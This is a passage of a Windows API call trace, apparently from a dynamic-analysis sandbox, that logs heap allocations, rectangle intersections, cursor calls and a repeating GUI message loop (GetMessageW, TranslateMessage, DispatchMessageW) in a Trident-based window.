[0121.405] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0121.405] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.405] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0121.405] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0121.405] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0121.405] LsSetDoc () returned 0x0
[0121.405] LsCreateLine () returned 0x0
[0121.405] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.406] LsDestroyLine () returned 0x0
[0121.406] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.406] PtInRect (lprc=0x1cde84, pt=0xa82a) returned 1
[0121.406] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0121.406] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0121.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0121.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0121.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0121.407] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.407] PtInRect (lprc=0x1cf24c, pt=0xa82a) returned 1
[0121.407] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0121.407] GetCursor () returned 0x10005
[0121.407] ShowCursor (bShow=0) returned -1
[0121.407] SetCursor (hCursor=0x10003) returned 0x10005
[0121.407] ShowCursor (bShow=1) returned 0
[0121.407] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0121.407] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0121.407] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0121.408] GetMessageTime () returned 47159
[0121.408] GetMessagePos () returned 0x20301f4
[0121.408] GetCapture () returned 0x0
[0121.408] GetCurrentThreadId () returned 0x4e0
[0121.408] GetCurrentThreadId () returned 0x4e0
[0121.408] GetCurrentThreadId () returned 0x4e0
[0121.408] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0121.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0121.408] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0121.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0121.408] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0121.408] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.408] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0121.408] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0121.408] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0121.409] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0121.409] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0121.409] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0121.409] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.409] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0121.409] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0121.409] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0121.409] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0121.409] LsSetDoc () returned 0x0
[0121.409] LsCreateLine () returned 0x0
[0121.409] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.410] LsDestroyLine () returned 0x0
[0121.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.410] PtInRect (lprc=0x1cdf0c, pt=0xa82a) returned 1
[0121.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0121.410] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0121.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0121.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0121.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0121.410] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.410] GetMessageTime () returned 47159
[0121.410] GetMessagePos () returned 0x20301f4
[0121.410] KillTimer (hWnd=0x10136, uIDEvent=0x2001) returned 1
[0121.410] GetCapture () returned 0x0
[0121.411] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0121.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0121.411] GetCurrentThreadId () returned 0x4e0
[0121.411] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0121.411] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0121.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0121.411] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x1b301ba, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0121.411] NtdllDefWindowProc_W () returned 0x0
[0121.411] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0121.411] SetTimer (hWnd=0x10136, nIDEvent=0x2002, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2002
[0121.411] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0121.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0121.412] GetCurrentThreadId () returned 0x4e0
[0121.412] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x1b301ba, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0121.412] NtdllDefWindowProc_W () returned 0x0
[0121.412] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0121.412] GetMessageTime () returned 47159
[0121.412] GetMessagePos () returned 0x20301f4
[0121.412] GetCapture () returned 0x0
[0121.412] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0121.412] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0121.412] GetCurrentThreadId () returned 0x4e0
[0121.412] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0121.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0121.413] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0121.413] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0121.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0121.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0121.413] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x1b301ba, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0121.413] NtdllDefWindowProc_W () returned 0x0
[0121.413] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0121.413] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0121.413] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0121.413] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0121.413] GetCurrentThreadId () returned 0x4e0
[0121.413] GetCurrentThreadId () returned 0x4e0
[0121.413] GetCurrentThreadId () returned 0x4e0
[0121.413] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0121.768] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0121.768] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0121.768] GetCapture () returned 0x0
[0121.768] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0121.768] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0121.768] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0121.768] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0121.768] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0121.768] GetCurrentThreadId () returned 0x4e0
[0121.769] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0122.033] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0122.033] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0122.033] GetCapture () returned 0x0
[0122.033] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0122.033] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0122.033] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0122.033] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0122.033] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0122.033] GetCurrentThreadId () returned 0x4e0
[0122.033] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0122.534] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0122.534] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0122.535] GetCapture () returned 0x0
[0122.535] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0122.535] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0122.535] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0122.535] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0122.535] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0122.535] GetCurrentThreadId () returned 0x4e0
[0122.535] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0122.538] NtdllDefWindowProc_W () returned 0x1
[0122.538] NtdllDefWindowProc_W () returned 0x1
[0122.538] NtdllDefWindowProc_W () returned 0x1
[0122.672] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0122.672] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0122.672] GetCapture () returned 0x0
[0122.672] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0122.672] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0122.672] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0122.672] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0122.672] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0122.672] GetCurrentThreadId () returned 0x4e0
[0122.672] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0122.969] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0122.969] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0122.969] GetCapture () returned 0x0
[0122.969] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0122.969] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0122.969] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0122.969] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0122.969] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0122.969] GetCurrentThreadId () returned 0x4e0
[0122.969] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0123.181] NtdllDefWindowProc_W () returned 0x1
[0123.181] NtdllDefWindowProc_W () returned 0x1
[0123.181] NtdllDefWindowProc_W () returned 0x1
[0123.282] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0123.285] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0123.286] GetCapture () returned 0x0
[0123.286] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0123.646] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0123.646] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0123.646] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0123.646] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0123.647] GetCurrentThreadId () returned 0x4e0
[0123.647] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0123.648] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0123.648] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0123.648] GetCapture () returned 0x0
[0123.649] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0123.651] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0123.651] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0123.651] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0123.651] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0123.651] GetCurrentThreadId () returned 0x4e0
[0123.653] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0123.951] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0123.951] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0123.951] GetCapture () returned 0x0
[0123.951] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0123.951] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0123.951] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0123.951] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0123.951] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0123.951] GetCurrentThreadId () returned 0x4e0
[0123.951] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0124.216] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0124.216] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0124.217] GetCapture () returned 0x0
[0124.217] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0124.217] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0124.217] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0124.217] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0124.217] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0124.217] GetCurrentThreadId () returned 0x4e0
[0124.217] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0124.661] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0124.661] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0124.661] GetCapture () returned 0x0
[0124.662] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0124.662] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0124.662] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0124.662] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0124.662] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0124.663] GetCurrentThreadId () returned 0x4e0
[0124.663] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0124.677] NtdllDefWindowProc_W () returned 0x1
[0124.677] NtdllDefWindowProc_W () returned 0x1
[0124.677] NtdllDefWindowProc_W () returned 0x1
[0124.871] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0124.871] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0124.871] GetCapture () returned 0x0
[0124.871] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0124.872] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0124.872] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0124.872] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0124.872] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0124.872] GetCurrentThreadId () returned 0x4e0
[0124.872] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0125.153] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0125.153] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0125.153] GetCapture () returned 0x0
[0125.153] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0125.153] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0125.153] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0125.153] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0125.153] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0125.153] GetCurrentThreadId () returned 0x4e0
[0125.153] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0125.244] NtdllDefWindowProc_W () returned 0x1
[0125.245] NtdllDefWindowProc_W () returned 0x1
[0125.245] NtdllDefWindowProc_W () returned 0x1
[0125.497] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0125.497] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0125.497] GetCapture () returned 0x0
[0125.497] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0125.497] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0125.497] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0125.497] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0125.497] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0125.497] GetCurrentThreadId () returned 0x4e0
[0125.524] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0125.776] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0125.776] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0125.776] GetCapture () returned 0x0
[0125.776] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0125.776] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0125.776] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0125.776] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0125.776] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0125.776] GetCurrentThreadId () returned 0x4e0
[0125.776] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0125.796] NtdllDefWindowProc_W () returned 0x1
[0125.796] NtdllDefWindowProc_W () returned 0x1
[0125.796] NtdllDefWindowProc_W () returned 0x1
[0126.089] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0126.089] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0126.089] GetCapture () returned 0x0
[0126.089] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0126.089] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0126.089] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0126.089] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0126.089] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0126.089] GetCurrentThreadId () returned 0x4e0
[0126.089] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0126.400] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0126.400] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0126.400] GetCapture () returned 0x0
[0126.400] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0126.400] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0126.400] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0126.400] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0126.400] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0126.400] GetCurrentThreadId () returned 0x4e0
[0126.400] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0126.715] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0126.715] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0126.715] GetCapture () returned 0x0
[0126.715] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0126.715] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0126.715] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0126.715] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0126.715] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0126.715] GetCurrentThreadId () returned 0x4e0
